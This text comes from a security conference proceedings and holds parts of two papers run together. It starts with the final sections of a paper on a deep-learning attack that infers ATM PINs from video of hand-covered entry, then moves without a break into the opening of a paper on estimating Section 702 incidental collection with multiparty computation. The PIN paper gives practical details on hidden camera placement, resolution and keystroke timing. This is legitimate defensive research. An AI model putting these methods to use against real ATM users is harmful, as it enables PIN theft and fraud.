1696    31st USENIX Security Symposium USENIX Association



the classic countermeasures to the so-called shoulder-surfing
attacks is to cover the hand entering the PIN with the non-
typing hand. In this way, the victim obstructs the attacker by
removing the direct visibility of the keypad. We designed a
questionnaire to evaluate how much the covering with the
non-typing hand effectively prevents the PIN reconstruction.

7.1 Methodology
The questionnaire consists of 30 videos of people entering 5-
digit PINs by covering the PIN pad with the non-typing hand
as we noticed that for longer questionnaires, the participants’
attention significantly goes down toward the end. For each
video, the participants had to indicate the three most likely
PINs in their opinion.

To assess human and model performance on both the PIN
pads, we decided to use the test set of the Mixed scenario
(i.e., the only one including both PIN pads). Since the test
set was balanced in terms of samples per user, we randomly
selected five PINs for each of the six users in the test set. We
extracted 30 videos corresponding to the selected PINs from
our dataset. We kept the original resolution of 720p and the
original audio track containing the feedback sound emitted
by the PIN pad for each video. The feedback sound helps the
participants to recognize when a digit is entered. To avoid
bias in the answers, we randomized the order of the videos
in the questionnaire. Moreover, the participants were free to
modify all their answers until the final submission. We did
not apply any particular restriction to the participants during
the filling of the questionnaire. In particular, there were no
time restrictions to complete the task. The participants could
freely apply the strategy they prefer to infer the PIN (e.g.,
write down the digits, pausing the video, restart the video any
number of times, use the slow-motion option). Finally, we
provided the users with the layout of the PIN pad.

To evaluate if people with specific knowledge about the
task achieve a better performance, we pre-trained a group of
participants. Specifically, we provided participants with a new
set of 20 videos of users typing PINs by covering the PIN pad
with the non-typing hand and the corresponding typed PIN.
To make the training more effective, we decided to provide
participants with videos of users included in the questionnaire
(none of the videos are present in both training and question-
naire). Additionally, the questionnaire had suggestions on
what to pay special attention. For a participant to be consid-
ered trained, the complete viewing of all 20 videos is required.
In addition, trained participants could also watch the training
videos while filling the questionnaire.

7.2 Evaluation and Discussion
A total of 78 distinct participants took part in our question-
naire experiment. In particular, 45 participants (14 female
age 34.1±10.4 years and 31 male age 29.7±8.3 years) com-

pleted the experiment without any training, while 33 partici-
pants (10 female age 29.1±3.3 and 23 male age 29.3±5.6)
completed the experiment after the training session. None
of the questionnaire participants took part in the two data
collections described in Section 4.2.

The proposed questionnaire’s goal is twofold: i) investigate
how effective the hand coverage is in preventing a PIN from
being inferred by a human, and ii) compare the performance of
our deep learning approach with that of a human. Although the
coverage of the PIN pad provides an obstacle to the immediate
identification of the typed PIN, a human can exploit various
information (both local and global) to reduce the probability
space about where to look for the entered PIN:

• Knowing the keys’ spatial positioning thanks to the given
layout of the target PIN pad.

• Understanding which finger pressed the key from the
movements of the hand.

• Evaluating the topological distance between two con-
secutive keys from the feedback sound emitted by the
PIN pad. Specifically, two topologically close keys have
temporally close sound feedback [8].

• Excluding keys based on the non-typing hand coverage.
• Guessing the finger position based on the hand displace-

ment between the insertion of a key and the next one.
• Deducing the fingers’ position of the covered hand.
Although a human can exploit this information, the PIN pad

coverage still partially prevents PIN reconstruction. In partic-
ular, the participants in our questionnaire could reconstruct
on average (of both trained and non-trained humans) only
4.49% of the PINs entered in the videos on the first attempt
and 7.92% within three attempts. The performance increasing
between Top-1 and Top-3 accuracy suggests a certain ability
in estimating the neighborhood of the keys pressed. This abil-
ity is also highlighted in Figure 11a, where the probability
distribution shows how the error decreases with the increase
of the topological distance from the target key. The heat maps
for other keys look similar and exhibit similar dispersion.

Unlike humans, our algorithm focuses on target key clas-
sification and then reconstructs the entire PIN sequence. To
compare the model’s performance to that of humans on the
same task, we evaluated our algorithm’s accuracy on the
videos included in the questionnaire. Recall that the ques-
tionnaire’s videos are a sub-sample of the Mixed scenario
test set, and therefore were not used in the model training
phase. As reported in Figure 10, our model performs better
than humans in all Top-N accuracy scenarios. To evaluate
if our algorithm performance and humans’ performance in
reconstructing 5-digit PINs are statistically different, we ap-
plied a series of Chi-square tests [27]. The Chi-square test re-
sulted significant for all Top-1 (χ2 = 14.19, p < 0.001), Top-2
(χ2 = 15.84, p < 0.001), and Top-3 (χ2 = 21.37, p < 0.001)
accuracy values for non-trained humans. In particular, our
model outperforms humans showing a four-fold improvement
in reconstructing a PIN in three attempts. Similarly, for trained
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Figure 10: Comparison between human (non-trained and
trained) and deep learning model performance in the sub-
set of videos included in the questionnaire. Top-N means that
participants guessed the PIN within the N attempts.

humans, the Chi-square test resulted significant for all Top-1
(χ2 = 16.12, p < 0.001), Top-2 (χ2 = 20.83, p < 0.001), and
Top-3 (χ2 = 28.88, p < 0.001) accuracy values.

This result comes from the difference in performance in
the classification of single keys. The human average accu-
racy (considering both human data collections) on single key
classification equals 0.351, approximately half compared to
the model key accuracy of 0.687. The comparison of Fig-
ures 11b and 11a shows how the error in identifying a digit is
significantly higher for humans, justifying why the increase
in Top-2 and Top-3 PIN accuracy is greater for our algorithm.
Finally, comparing trained and non-trained humans, the Chi-
square test reported no significant differences with p > 0.1
for all Top-1, Top-2, and Top-3 accuracy values. This means
that training does not improve a human’s ability to identify a
PIN within three attempts. Potentially, either a longer train-
ing could be required, or additional feedback from an expert
should be provided to improve the performance. Appendix B
provides additional results for the comparison between our
deep learning model and human performance.

8 Related work

Side-channel attacks specifically target the information gained
by the implementation of a system [26]. Most of the time,
these attacks exploit channels like sound [13], timing [22],
power consumption [21], and electromagnetic emanations [4]
to learn the system’s secrets in use. In [22], the authors man-
aged to crack RSA keys by carefully timing the operations
performed by the key-generating algorithm. Another exam-
ple of a timing attack is reported in [32], where the authors
measured the timing between keystrokes in interactive SSH
sessions in an attempt to retrieve the typed passwords.

Human behavior can also be defined as a side-channel of
a system, especially if the analyzed behavior directly results
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Figure 11: Digit 4 predictions heat maps for the videos in-
cluded in the questionnaire. We report an example from non-
trained humans, since the heat maps for both non-trained and
trained human are similar.

from the system’s requirements. In [3], the authors analyzed
the hand movements of people typing on a keyboard and, by
using basic computer vision techniques, they tried to recon-
struct the text being typed. In [31], the authors again analyzed
the finger motion during the PIN-entry process on smart-
phones. They showed that 50% of the 4-digit PINs could
be retrieved in just one attempt. Different from our work,
where the target of the attack is a physical PIN pad, in [31],
the attackers could also exploit more information. In partic-
ular, the users typed the PIN using only one finger, and the
attacker knew the finger the users are typing. The different
contexts and assumptions make the works substantially dif-
ferent. In [33], the authors presented a side-channel attack on
tablets, consisting of analyzing the backside movements of
the tablet itself to infer what is being typed by the victim. To
do so, they selected some peculiar features of the backside
of the tablets (e.g., logos, side-buttons) and analyzed their
movement throughout the frames to understand what area of
the virtual keyboard is being pressed. Similarly, in [34], the
authors presented an attack to infer the pattern lock of mobile
devices from videos. Different from our approach, in [34], the
attacker required a vision of the user’s fingertip while drawing
the pattern and a part of the device.

PIN and PIN pad attacks represent a branch of side-channel
attacks that exploit information leakage from keyboards and
numeric keyboards (i.e., PIN pads) to infer what the victim
has typed (e.g., passwords or PINs). In this context, some
works focused on exploiting the heat transferred from the
hand to the keypad when the victim enters the PIN or pass-
word [19, 28]. The attacker points a thermal camera to the
keypad as soon as the victim has finished entering the PIN.
The thermal image shows which keys have been pressed and
even highlights the order in which the victim pressed them.
The main advantage of this attack is that it does not require
the attacker to do anything while the victim is typing the PIN.
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On the other hand, the attacker must act quickly (i.e., within
seconds) for a higher success rate as the heat on the keypad
rapidly fades away. Another drawback of the attack is that its
effectiveness depends on the keypad’s material (e.g., metal
PIN pads completely nullify the attack because of their high
thermal conductivity).

Timing attacks against PINs represent another type of side-
channel attack against this authentication method. In the sce-
nario presented in [2], the attacker recorded the screen of an
ATM while the victim is entering the PIN. When analyzing
the recorded video, the attacker exploited the PIN masking
symbols appearing on the ATM screen to extract timing in-
formation about the keystrokes. The attacker used predic-
tive models to infer which keys were most likely typed by
the victim, starting from the deduced inter-keystroke timing.
In [8], the authors used the ATM’s sound whenever a button is
pressed. ATM’s sound must be independent of which button is
being pressed (i.e., a generic feedback sound). This considera-
tion means that one feedback sound will not help the attacker.
However, the sound gives enough information to extract a
timestamp of the keys being pressed. Moreover, in [8,25], the
authors showed how combining timing, acoustic, and thermal
information can significantly reduce the number of attempts
to guess a PIN (e.g., 34% of 4-digits PINs are recovered in
three attempts). These attacks need to be reevaluated from a
feasibility perspective in a real-world setting. In particular,
as shown in [19], the heat signature is dissipated abruptly
by metal PIN pads. The lack of this information limits the
performance of the attacks presented in [8, 25], reducing the
probability of guessing a 4-digit PIN in 3 attempts to 5%.

Our work shows several advantages over the state-of-the-
art in ATM PIN inference. To the best of our knowledge, we are
the first to investigate the security of hand covering protection
methods for ATM’s PIN entering. Further, our method shows
a significant improvement in reconstructing the PIN compared
to previous work on metal PIN pads, reaching 41% of success
in reconstructing 4-digit PINs in three attempts (and correctly
guessing every third PIN in the first guess).

9 Conclusion

This paper proposed a deep learning attack on PIN mecha-
nisms reaching high accuracy even when the user covers the
PIN to be entered. Our attack leverages the information from
the hand position but also hand movements while entering
the PIN. Our attack works in the profiling setup where the
attacker uses a copy of the keypad to train the deep learning
model and then attacks a different device while the victim
is entering the PIN. For a 4-digit PIN, our attack reaches an
accuracy of more than 40%, making it practically applicable
and more powerful than the attacks from the related works.

Our data collection phase involved 58 persons, and our
questionnaire involved 78 participants. While this required a
significant effort and several months of data acquisition, one

could still consider the datasets too small to allow general
conclusions. Next, our analysis considered only two types of
keypads. While most keypads do not have significant differ-
ences, including more keypad models in our analysis would
be interesting. Additionally, there are several potential sources
of bias in our data collection phase. While we managed to
get a relatively good male and female participants ratio, we
notice that data is skewed from several perspectives. Unfortu-
nately, this was not possible to avoid as the participation was
voluntary 8.

1. Our dataset has users ranging from 24 to 50 years. While
this provides good variety, it would be good if it included
older people. Still, we do not expect any difficulties in
running our attack. We consider it even somewhat easier
as we noticed older people make more significant hand
position adjustments when entering the PIN.

2. Our analysis includes only right-handed persons. We
do not expect any issues due to the dataset’s limitations
as we use a camera positioned in the center. Still, we
expect the attack to be more difficult when attacking
left-handed persons if the training set does not contain
such examples. Finally, from the real-world practicality,
there are approximately 90% of right-handed persons vs.
10% left-handed persons [29], so our attack generalizes
for the dominant part of the population.

3. All participants were Caucasians. We expect our attack
will have difficulties working for people from other races.
Still, this can be alleviated by expanding the training set
to include more racial diversity.

Possible future work includes:
1. In our data collection phase, we allowed the users to se-

lect their covering strategies. Based on the current results,
it would be interesting to explore if modifications in how
the user covers the PIN would allow more protection.

2. We noted several potential sources of bias in our data
collection phase. Including participants from other races
and left-handed persons would allow us to make more
general conclusions.

3. To avoid the need that the attacker should have differ-
ent keypads, it would be beneficial to assess whether
some more straightforward solution like a paper copy
of the keypad would suffice (at the expense of losing
information about the keypress sensitivity).

4. It would be interesting to investigate if it is possible to
extract the timestamp directly from the video (when a
person clicks a button, there is a specific movement).
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A Neural Networks Additional Info

In Figure 12, we show the training and validation accuracy
for the three models selected after the random grid search.
In the Mixed scenario, the validation accuracy grows faster
than in PIN pad independent scenario and Single PIN pad
scenario, reaching faster the plateau. Indeed, in the Mixed
scenario, the validation accuracy stabilizes after 20 epochs,
while we require more than 35 epochs for the other scenarios.
This difference can be linked to a larger training size and a
higher variance in the samples since the Mixed scenario is the
only one to include videos from both PIN pads in the training
phase.

Next, we report some statistics about the training execution
times for the three scenarios we consider.

• Single PIN pad scenario: the training set is composed
of 32 participants, corresponding to 16 000 samples of 11
frames each. Our model takes 1 577 seconds to complete
an epoch (i.e., approximately 34 hours to complete the
entire training phase).

• PIN pad independent scenario: the training set is com-
posed of 35 participants, corresponding to 17 500 sam-
ples of 11 frames each. Our model takes 1 598 seconds
to complete an epoch (i.e., approximately 34 hours to
complete the entire training phase).

• Mixed scenario: the training set is composed of 46 par-
ticipants, corresponding to 23 000 samples of 11 frames
each. Our model takes 2 240 seconds to complete an
epoch (i.e., approximately 46 hours to complete the en-
tire training phase).

B Key Accuracy Analysis

In this section, we provide further analysis on the key accuracy
for our attack. Figure 13 highlights that the accuracy on a
single key is worse in the PIN pad independent scenario.
Although the performance is considerably lower than the
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(a) Single PIN pad scenario. We included 4 partici-
pants in validation, corresponding to 400 digits.
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(b) PIN pad independent scenario, We included 5
participants in validation, corresponding to 500
digits.
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(c) Mixed scenario. We included 6 participants in
validation, corresponding to 600 digits.

Figure 12: Training and validation accuracy for our three scenarios.

other two scenarios in Top-1 accuracy, it is interesting that
the error dispersion affects the keys topologically close to the
target one.

In Figure 14, we compare our model and human perfor-
mance on the key classification task. The misclassification
error and the dispersion result are significantly lower for our
algorithm. Moreover, it can be noticed how the four keys on
which humans perform the best match those in the corners of
our keypad (i.e., 1, 3, 7, and 9).

C Additional Experiments

To gain further insight into how coverage can affect the attack
performance, we grouped the tested users by the coverage
strategy:

• Side: The non-typing hand rests on the side of the palm
and is angled to cover the keys of the PIN pad (40% of
users applied this covering strategy).

• Over: The non-typing hand is raised completely off the
surface, covering the PIN pad both with the entire back
of the hand and the fingers (43% of users applied this
covering strategy).

• Top: The fingers of the non-typing hand rest on the top
of the PIN pad, and the back of the hand is used for the
coverage (17% of users applied this covering strategy).

In Table 3, we report key and PIN TOP-3 accuracies for our
approach. Clearly, Side covering strategy provides the least
protection and should be avoided. At the same time, the Over
and Top covering strategies provide much better protection.
Interestingly, we see that with the Over covering strategy,
the Mixed scenario reaches lower accuracy than the Single
PIN pad scenario. We postulate this happens as this covering
strategy makes it less “natural” for the user to type, deceiving
the deep learning algorithm. Further attack improvements
could be made with datasets having examples of one covering
strategy only. For the Top covering strategy, there were no

Covering Scenario Key PIN TOP-3
strategy accuracy accuracy

Single 0.64 0.30
Side Independent 0.42 0.12

Mixed 0.77 0.53
Single 0.52 0.12

Over Independent 0.31 0.10
Mixed 0.46 0.07
Single NA NA

Top Independent 0.41 0.13
Mixed NA NA

Table 3: Performance of our attack for different covering
strategies in Single PIN pad, PIN pad independent, and Mixed
scenarios. Top covering participants were present in the PIN
pad independent scenario only, as for the others, no data were
available (NA).

data for two out of three scenarios (denoted NA in Table 3).
For the PIN shield countermeasure, we depict various levels

of hiding in Figure 16. There, 25% denotes that the first row
of the PIN pad is covered (simulated with a black patch), 50%
first two rows, 75% first three rows, and finally, 100% all four
rows of the PIN pad are covered. Note that we do not include
the covering with the other hand into these percentages.

Table 4 provides results for several additional attack con-
figurations. First, we performed two experiments simulating a
lower camera quality or a larger camera distance from the PIN
pad. For this purpose, we reduced the model input resolution
from 250 x 250 to 125 x 125 and to 64 x 64. Results show
that our model maintains an accuracy higher than 20%, even
when halving the input resolution (i.e., doubling the camera
distance). However, this is not to be considered as a physical
limitation for our attack since if the attacker places a camera
outside the ATM chassis, it is possible to use an optical zoom.
Further, many pinhole cameras can record with a resolution
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Figure 13: Confusion matrices of key predictions (predicted labels) vs. true values (true labels) for our three scenarios.
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(a) Recalculated confusion matrix for our algo-
rithm (Mixed scenario).
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Figure 14: Confusion matrix comparison between our algorithm and humans.

(a) Left-corner camera. (b) Center camera. (c) Right-corner camera.

Figure 15: Same video frame recorded by three cameras.
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(a) 25% of PIN pad surface cov-
ered (i.e., digits form 1 to 3).

(b) 50% of PIN pad surface cov-
ered (i.e., digits form 1 to 6).

(c) 75% of PIN pad surface cov-
ered (i.e., digits form 1 to 9).

(d) 100% of PIN pad surface
covered (i.e., no digit is visible).

Figure 16: PIN pad shield configurations.

up to 1 080p 9, which is higher than the resolution we used to
collect our dataset (720p).

Next, we investigated the accuracy of our attack leverag-
ing different camera positions. In particular, we performed
two experiments training and testing our model with the left-
corner and the right-corner cameras, respectively. Figure 15
shows the camera views used in our experiments. The results
give a significant difference in performance if the camera is
on the right or the left. This is because the participants in our
experiment were right-handed, and therefore filming from the
right had worse coverage of the PIN pad and typing hand.
In contrast, the typing hand and the PIN pad were almost
completely covered using shots from the left, significantly
reducing the model’s performance. We also evaluated whether
using video from all three cameras in training (the experiment
“multi-camera training“ in Table 4) could improve the accu-
racy of our model when compared with videos recorded from
the center camera only. The results show a drop in perfor-
mance, which we attribute to the higher variance in the data
provided as input to the model.

Finally, we report the results of our model without data
augmentation and without including the blacklisted users in
the training set. In both configurations, the performance of
our model drops, showing that reducing the training size is
penalized heavily. Note that even in the worst case of a camera
placed on the left corner (i.e., the one with less visibility), our
model still performs better than an average human.

9https://www.dsecctv.com/Prod_telecamere_spioncino_porta_AHD.htm

Experiment Key PIN TOP-3
accuracy accuracy

Input resolution 125 x 125 0.55 0.23
Input resolution 64 x 64 0.47 0.15

Left-corner camera 0.46 0.10
Right-corner camera 0.62 0.31

Multi-camera training 0.53 0.22

No data augmentation 0.44 0.11
Blacklisted excluded in training 0.54 0.18

Table 4: Additional attack configurations and results in the
Mixed scenario.

Frame error Key PIN TOP-3
confidence (p<0.01) accuracy accuracy

3 0.60 0.29
5 0.59 0.26

10 0.54 0.16
15 0.49 0.12
20 0.12 0.06

Table 5: Performance of our attack in the Mixed scenario
assuming different levels of frame detection error.

In this paper, we used the feedback sound emitted by the
PIN pad as a detection system for the frames containing a
keystroke. To evaluate the impact of other frame detection
systems, we conducted an experiment varying the frame ex-
traction precision. We simulated the detection error by adding
Gaussian noise with mean zero to the ground truth (i.e., the
frame position in the video). In Table 5, we report the single
key and the PIN TOP-3 accuracies for the Mixed scenario,
simulating five levels of the frame detection error. Compared
to the results obtained using the audio feedback (key accu-
racy 0.61, 5-digits PIN Top-3 accuracy 0.30), we see that our
model works well even with small/medium levels of frame
detection error (i.e., less than five frames). In particular, for
a frame error confidence of three (i.e., when the frames are
detected through the appearance on the screen of the masked
symbols [8]), the performance drops only 1% both for key and
TOP-3 PIN accuracies. Contrarily, when the detection error
becomes high (i.e., more than 15 frames), the performance
of our model decreases significantly. This happens since the
frames considered by the model do not contain information
related to the target key, as they are too temporally shifted.
Naturally, if the attacker recognizes a situation like this, it
would be possible to mitigate the effect of detection error by
not using the feedback sound but observing the appearance
of “*” symbols on the screen.
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Abstract
Section 702 of the Foreign Intelligence Surveillance Act au-
thorizes U.S. intelligence agencies to intercept communica-
tions content without obtaining a warrant. While Section 702
requires targeting foreigners abroad for intelligence purposes,
agencies “incidentally” collect communications to or from
Americans and can search that data for purposes beyond intel-
ligence gathering. For over a decade, members of Congress
and civil society organizations have called on the U.S. Intel-
ligence Community (IC) to estimate the scale of incidental
collection. Senior intelligence officials have acknowledged
the value of quantitative transparency for incidental collection,
but the IC has not identified a satisfactory estimation method
that respects individual privacy, protects intelligence sources
and methods, and imposes minimal burden on IC resources.

In this work, we propose a novel approach to estimating
incidental collection using secure multiparty computation
(MPC). The IC possesses records about the parties to inter-
cepted communications, and communications services pos-
sess country-level location for users. By combining these
datasets with MPC, it is possible to generate an automated ag-
gregate estimate of incidental collection that maintains confi-
dentiality for intercepted communications and user locations.

We formalize our proposal as a new variant of private set
intersection, which we term multiparty private set intersec-
tion with union and sum (MPSIU-Sum). We then design and
evaluate an efficient MPSIU-Sum protocol, based on elliptic
curve cryptography and partially homomorphic encryption.
Our protocol performs well at the large scale necessary for
estimating incidental collection in Section 702 surveillance.

1 Introduction

When a nation conducts surveillance directed outside its own
borders and at foreign intelligence targets, how often does it
intercept communications involving its own people? For over
a decade, that seemingly simple factual question has been a
flashpoint in United States national security law.

Section 702 of the Foreign Intelligence Surveillance Act
(FISA) authorizes agencies in the U.S. Intelligence Commu-
nity (IC) to collect communications inside the U.S. when
targeting foreigners abroad [2, 36, 62]. Section 702, unlike
conventional law enforcement and FISA procedures for ob-
taining communications content, does not require applying to
a court for a warrant demonstrating probable cause and par-
ticularity for a specific target. Instead, the IC obtains annual
program approvals from the Foreign Intelligence Surveillance
Court (FISC), then directs communications services in the
U.S. to facilitate surveillance of foreign intelligence targets.

The structure and implementation of Section 702 have
prompted significant controversy, especially over “incidental”
collection of communications to and from U.S. citizens and
other persons protected by constitutional privacy guarantees.
The statutory framework and FISC orders permit agencies
to query and use these communications for purposes beyond
foreign intelligence, without obtaining a warrant as ordinarily
required by the Fourth Amendment to the U.S. Constitution.

For over a decade, members of Congress (on a bipartisan
basis) and civil society groups have repeatedly urged the IC to
estimate the scale of incidental collection [5, 7, 8, 11, 14–18].
The IC’s leadership has acknowledged the importance of an
empirical estimate for public transparency [6, 9, 10, 12, 21].
Because the IC often lacks information about non-target par-
ties to intercepted communications, however, it cannot readily
compute an estimate. After years of exploring estimation
methods, the IC has not identified a method that it considers
adequate for respecting individual privacy, protecting intelli-
gence sources and methods, and avoiding burdensome manual
analysis. Section 2 provides further detail on Section 702 of
FISA, incidental collection, and the estimation challenge.

In this work, we propose a novel path forward for estimat-
ing incidental collection using secure multiparty computation
(MPC). The IC possesses records of the parties to intercepted
communications, but may know little about non-target parties.
Communications services possess country-level user location
for business purposes, but may know little about intercepted
communications. By combining these datasets with MPC, it
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is possible to generate an aggregate estimate of incidental
collection that maintains the secrecy of targets and intercepts,
maintains the confidentiality of user locations, and involves
no manual investigation of users. Section 3 formalizes the
computation and privacy guarantees as a new variation of
private set intersection, which we term multiparty private set
intersection with union and sum (MPSIU-Sum).

We design and evaluate a novel MPSIU-Sum protocol,
which is practical at the large scale necessary for estimating
incidental collection. Section 4 provides preliminaries for
protocol construction, including on elliptic curve cryptogra-
phy and partially homomorphic encryption. Section 5 then
contributes a new MPSI protocol, building on the efficient
Apple PSI protocol [28], which we use as an intermediate
step. Section 6 presents our MPSIU-Sum protocol. Section 7
empirically evaluates performance. Section 8 offers optimiza-
tions. Section 9 discusses extensions, including for additional
malicious security and differential privacy. Section 10 synthe-
sizes related work on private set intersection and secure sum.
Finally, Section 11 concludes with directions for transitioning
our proposed estimation method into practice.

2 Background and Motivation

We begin by providing background on Section 702 of FISA,
which is the motivation for our work. We briefly describe the
constitutional and statutory legal frameworks for U.S. law
enforcement and intelligence interception of electronic com-
munications, and we explain why Section 702 is so different
from prior authorities. Next, we describe the “incidental” col-
lection and “U.S. person query” issues that have especially
prompted concern about Section 702. Finally, we discuss
the challenge of estimating the scale of incidental collection,
which has been an open policy problem for over a decade.

2.1 U.S. Surveillance Law and Section 702
There are four primary areas of law that regulate electronic
surveillance by the U.S. government. The Fourth Amendment
protects both people in the U.S. and U.S. persons (i.e., citizens
and permanent residents) abroad, and it covers communica-
tions content.1 The Electronic Communications Privacy Act
(ECPA) sets procedures for domestic law enforcement access
to data. FISA provides a framework for foreign intelligence
surveillance conducted in the U.S. Finally, Executive Order
(EO) 12333 addresses extraterritorial intelligence collection.

While a comprehensive review of U.S. surveillance law
is beyond the scope of this project (see [53, 74]), there is an
important interplay between law and technology that led to
Section 702 and the estimation challenge we address [36]. In
the pre-2000s era, before modern online services and global

1We use the term “U.S. person,” which is defined in FISA, for brevity.
Courts have interpreted the Fourth Amendment to have similar extraterritorial
applicability based on a person’s U.S. citizenship or permanent residency.


Email Service

(e.g., Google or Microsoft)


IC Element

(e.g., NSA or FBI)


mallory@email.com �

Identifier: mallory@email.com

Email data

Communication between user and service

Collection under Section 702

Figure 1: An example of Section 702 surveillance. Mallory
uses mallory@email.com, is outside the U.S., and is not a
U.S. person. They do, however, use a U.S.-based email ser-
vice. Section 702 authorizes the IC to collect their email for
intelligence purposes by sending a directive to the service.

networks, there was a general bright-line rule for domestic
collection of communications content: the government had
to obtain a warrant, reviewed by a judge and supported by
probable cause and particularity. If the government sought
content outside the U.S., by contrast, no warrant was needed—
ECPA and FISA did not apply, and the Fourth Amendment and
EO 12333 required (at most) limited non-judicial procedures.

The Internet created an opportunity and a dilemma for the
IC. Popular U.S.-based online services became platforms for
worldwide communication. Telecommunications services in
the U.S. also became international network hubs. The IC
could obtain foreign content from these services through do-
mestic legal process, instead of burdensome collection abroad.
But under current law, obtaining that data required a warrant—
unlike procedures for extraterritorial surveillance.

The Bush administration and Congress responded with
a hybrid procedure in Section 702, enacted as part of the
FISA Amendments Act of 2008.2 Section 702 would allow
the IC to collect content from U.S.-based online services
and telecommunications networks, when targeting foreigners
abroad, without obtaining a warrant. But Section 702 also
created a role for the judiciary: the FISC, a special court that
adjudicates FISA matters, would conduct an annual review
of procedures. The court would have to determine that the
procedures were consistent with the Fourth Amendment and
Section 702, and it could address instances of noncompliance.

In order to make Section 702 surveillance more concrete,
consider the following example, which we depict in Figure 1.
Suppose that an IC element, such as the National Security
Agency (NSA) or the Federal Bureau of Investigation (FBI),
seeks emails to and from Mallory.3 The agency has deter-
mined that surveilling Mallory could yield foreign intelli-
gence and that they are neither located in the U.S. nor a U.S.
person. The agency also knows that Mallory uses the email
address mallory@email.com, which is hosted by a major

2The Protect America Act of 2007 briefly preceded the FISA Amend-
ments Act with a similar hybrid procedure, before sunsetting in 2008.

3An IC “element” is a federal agency or a component of a federal agency
that Congress or the President has designated as part of the IC.
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email provider such as Google or Microsoft.4 After the IC
completes its annual review with the FISC, agency officials
approve targeting Mallory. An IC element serves a Section
702 directive on the email provider and specifies Mallory’s
address as an identifier for collection.5 The email provider is
then compelled to disclose messages to and from the address.6

Section 702 was exceptionally controversial when enacted,
and it remains a sticking point in the U.S. and abroad. In
a pair of decisions, for example, the Court of Justice of the
European Union determined that Section 702 provided such
limited protections for Europeans that it would invalidate
certain commercial data flows to the U.S. [13,22]. Meanwhile,
Presidents Obama and Trump both signed bills reauthorizing
Section 702, and the IC maintains that it is among the most
important national security authorities [62]. The provision is
currently scheduled to sunset on December 31, 2023.

We take no position in this work on the merits of Section
702 and whether it strikes an appropriate balance between
national security and civil liberties. As we discuss in the fol-
lowing sections, we focus narrowly on a specific Section 702
issue, incidental collection, and our aim is to enable quantita-
tive estimates that would inform the issue.

2.2 Incidental Collection and U.S. Person
Queries

Perhaps the greatest controversy related to Section 702, at
least in the U.S., is incidental collection. The concept is
straightforward: Americans talk to foreigners. If an IC el-
ement targets a foreigner outside the U.S. for surveillance
under Section 702, the agency may collect communications
to or from persons inside the U.S. or U.S. persons abroad.
These are people protected by the Fourth Amendment, whose
communications content the government could ordinarily only
collect with a warrant. The possibility of incidental collection
is compounded by the scale of Section 702 surveillance (hun-
dreds of thousands of targets per year [65]) and the fact that
foreigners using U.S. services may be more likely to commu-
nicate with persons in the U.S. and U.S. persons abroad.

As above, we offer an example for clarity, which we depict
in Figure 2. Suppose that Alice, who is not a foreign intel-
ligence target, exchanges messages with Mallory using the
same email provider. Alice is located within the U.S. and a
U.S. person. When an IC element obtains Mallory’s email, it
incidentally collects messages to and from Alice.

4We focus on “downstream” collection via email providers for simplicity
and because the IC has acknowledged that type of Section 702 surveillance.
The estimation method that we propose generalizes to other types of surveil-
lance, including “upstream” collection from telecommunications networks,
so long as the IC possesses identifiers for individual senders and recipients.

5The IC element that sends the directive or the selector to the email
provider might differ from the IC element seeking to collect Mallory’s emails.

6Note that communications “identifiers” may not neatly map to partici-
pating persons. We discuss this conceptual distinction further in Section 3.
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mallory@email.com �

♀
alice@email.com

Identifier: mallory@

Email data

Communication between users

Collection under Section 702

Figure 2: An example of Section 702 incidental collection.
The target, Mallory, is neither in the U.S. nor a U.S. person.
They send a message to Alice, who is located in the U.S. and a
U.S. person. As a result, the IC incidentally collects on Alice.

After incidentally collecting communications, IC elements
can query the data with U.S. person identifiers for both intel-
ligence and law enforcement purposes [36].7 These types of
queries, referred to by the IC as “U.S. person queries” and
by critics as “backdoor searches,” have been a focal point for
Section 702 reauthorization and reform. Opponents of Section
702 characterize these queries as an end-run around consti-
tutional privacy protections. The FISC and other courts have
consistently allowed U.S. person queries, and Congress has
approved the practice—though it nearly instituted a warrant
requirement for U.S. person queries in a 2018 reauthorization.

2.3 Estimating Incidental Collection
In response to the incidental collection controversy, legisla-
tors and civil society groups have urged the IC to quantita-
tively estimate the issue. Understanding the scale of incidental
collection, they argue, is essential for evaluating whether to
reauthorize Section 702, what reforms may be important, and
the authority’s Fourth Amendment “reasonableness.”

Initial versions of the legislation that became Section 702,
passed by the House and reported out of the Senate Judiciary
Committee and the Senate Select Committee on Intelligence,
would have required recurring estimates of incidental collec-
tion [3, 4]. The Bush administration took the position that
estimates would be “impossible” [63], so Congress reduced
the requirement to a nudge: if the IC established procedures
for estimating incidental collection, it would have to provide
the procedures and estimates to the FISC and Congress [2].

The earliest request for an estimate of incidental collec-
tion after Congress enacted Section 702 was in July 2011,
when a pair of Senators sought context for an upcoming reau-
thorization [5]. The Director of National Intelligence (DNI)
responded that an estimate would not be possible [6]. The
Senators asked the IC Inspector General in mid-2012 [8] and a
larger bipartisan group wrote to the DNI again several months
after [7]. Both requests received similar responses [9, 10].

In 2014 the Privacy and Civil Liberties Oversight Board
(PCLOB), an independent agency, issued a report on Section

7The Section 702 statute does not restrict query purposes. FISC-approved
procedures generally require that a query be “reasonably likely to retrieve
foreign intelligence information” or, for the FBI, “evidence of a crime” [64].
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Figure 3: A more detailed example of Section 702 incidental collection, in which Mallory and Alice use different email services.
The IC knows it has collected an email to alice@email2.com, but not the user’s location. Alice’s email service knows they are in
the U.S., but not that they have been surveilled. We propose using MPC to privately compute statistics about incidental collection.

702 [67]. PCLOB noted that the amount of incidental col-
lection was “one of the biggest open questions” about the
authority. Because there was an “impasse” about how to esti-
mate incidental collection, PCLOB recommended alternative
transparency statistics that would offer “partial insight.”

Civil society groups began their own campaign for an esti-
mate of incidental collection in October 2015 [11]. The DNI’s
staff did not directly respond, instead offering a status update
on related oversight recommendations [12, 14].

The bipartisan leadership of the House Judiciary Commit-
tee next took up the issue, requesting an estimate in April
2016 in advance of another Section 702 reauthorization [15].
This time, the DNI personally oversaw an interagency process
to generate an estimate. Members sent a follow-up letter in
December 2016 [16], the incoming DNI confirmed he would
prioritize an estimate at a February 2017 Senate hearing [20],
members sent another letter in April 2017 [18]—and then, to
widespread surprise, the new DNI announced at a June 2017
hearing that there would be no estimate [21]. Generating an
estimate would be “infeasible,” he explained, because it would
require manual identification of persons in the U.S. and U.S.
persons—both a burden on intelligence analysts and an addi-
tional privacy intrusion. “[I]f someone out there knows how”
to acceptably estimate incidental collection, the DNI noted,
both he and the NSA Director would “welcome the advice.”
Legislators and civil society groups responded with outrage
at the change in position [17], but the DNI reaffirmed the
following month that an estimate was presently “impossible”
and the effort to generate an estimate had concluded [19].

